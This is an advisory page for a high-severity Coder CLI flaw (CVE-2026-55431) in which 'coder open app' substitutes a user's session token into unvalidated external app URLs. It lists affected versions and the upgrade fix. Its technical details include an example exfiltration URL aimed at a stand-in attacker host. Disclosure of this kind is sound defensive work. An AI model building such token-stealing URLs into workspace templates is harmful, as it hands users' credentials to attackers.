CVE-2026-55431: Coder session token exfiltration in CLI via external app URLs

CVE-2026-55431 · Severity: high · CVSS 7.7 · Published 2026-07-08

Coder is a platform used by organizations to manage remote development environments. A security flaw in the Coder command-line tool could allow a malicious workspace template author to steal a user's session token. If a user opens a specially crafted application link within a compromised workspace, their login credentials could be sent to an attacker, potentially leading to unauthorized account access.

Technologies: Coder, github.com/coder/coder (Go), github.com/coder/coder/v2 (Go). Vendors: Coder, Go.

Quick answers

Is CVE-2026-55431 exploited in the wild?
No. Junglewise Threat Intelligence has no report of CVE-2026-55431 being exploited in the wild.
How severe is CVE-2026-55431?
High severity, with a CVSS score of 7.7, published 8 July 2026.
Which products and versions are affected?
Coder < 2.29.17, >= 2.30.0 < 2.32.7, >= 2.33.0 < 2.33.8, >= 2.34.0 < 2.34.2; github.com/coder/coder (Go) SEMVER:introduced=0; github.com/coder/coder/v2 (Go) SEMVER:introduced=0,fixed=2.29.17,introduced=2.30.0,fixed=2.32.7,introduced=2.33.0,fixed=2.33.8,introduced=2.34.0,fixed=2.34.2, SEMVER:introduced=2.34.0,fixed=2.34.2.
Is there a fix for CVE-2026-55431?
Yes. github.com/coder/coder/v2 (Go): upgrade to 2.34.2 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
How is CVE-2026-55431 attacked?
It is attacked over the network, in a network appliance.
Am I affected by CVE-2026-55431?
Check whether you run Coder, github.com/coder/coder (Go) or github.com/coder/coder/v2 (Go) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

How to fix

  • github.com/coder/coder/v2 (Go): upgrade to 2.34.2 or later
    go get github.com/coder/coder/v2@v2.34.2

Technical details

A vulnerability exists in the Coder CLI's 'coder open app' command due to insufficient validation of external workspace-app URLs. The CLI automatically replaces the '$SESSION_TOKEN' placeholder with the user's actual session token before passing the URL to the operating system's default handler. Because the CLI fails to validate the URL scheme or host, a malicious template author can define an external app URL pointing to an attacker-controlled server (e.g., https://attacker.com/?t=$SESSION_TOKEN). If a victim executes the command against such a workspace, their session token is exfiltrated. The fix introduces a URL-scheme allowlist and restricts token substitution to trusted destinations.

Affected products

  • Coder Coder < 2.29.17, >= 2.30.0 < 2.32.7, >= 2.33.0 < 2.33.8, >= 2.34.0 < 2.34.2

Identifiers

  • CVE-2026-55431
  • GHSA-v54h-cp2w-9x4g
  • GO-2026-5924

Timeline

  • 2026-06-11: patched: Fix merged into main branch
  • 2026-07-08: disclosed: CVE published

References

This page as Markdown. Free to reuse under CC BY 4.0 with a link back.